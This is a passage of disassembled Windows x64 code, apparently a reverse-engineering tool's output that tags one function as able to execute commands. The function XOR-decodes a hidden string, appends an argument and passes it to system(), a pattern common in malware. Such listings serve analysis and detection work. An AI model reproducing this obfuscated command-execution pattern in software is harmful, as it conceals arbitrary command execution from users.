sub rdi, 1
jne 0x140119c43
mov rax, rbx
mov rcx, qword [rsp + 0x13d0]
xor rcx, rsp
call fcn.140175100
mov rbx, qword [rsp + 0x13f8]
add rsp, 0x13e0
pop rdi
ret
Function at 0x140119ce0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
movups xmm0, xmmword [0x1401d6c38]
movups xmmword [rbp - 0x60], xmm0
mov ecx, dword [0x1401d6c48]
mov dword [rbp - 0x50], ecx
movzx eax, word [0x1401d6c4c]
mov edx, reloc.WS2_32.dll_WSAStartup
mov word [rbp - 0x60], dx
xor word [rbp - 0x5e], 0x36
xor word [rbp - 0x5c], 0x37
xor word [rbp - 0x5a], 0x38
xor word [rbp - 0x58], 0x39
xor word [rbp - 0x56], 0x3a
xor word [rbp - 0x54], 0x3b
xor word [rbp - 0x52], 0x3c
xor cx, 0x3d
mov word [rbp - 0x50], cx
xor word [rbp - 0x4e], 0x3e
xor ax, 0x3f
mov word [rbp - 0x4c], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140119d80
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x48]
call fcn.1400b8aa0
nop
nop dword [rax]
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x140119da0
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.1400b7d60
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x48]
cmova rdx, qword [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.14010a930
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.1400252b0
nop
lea rcx, [rbp - 0x48]
call fcn.1400b83d0
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret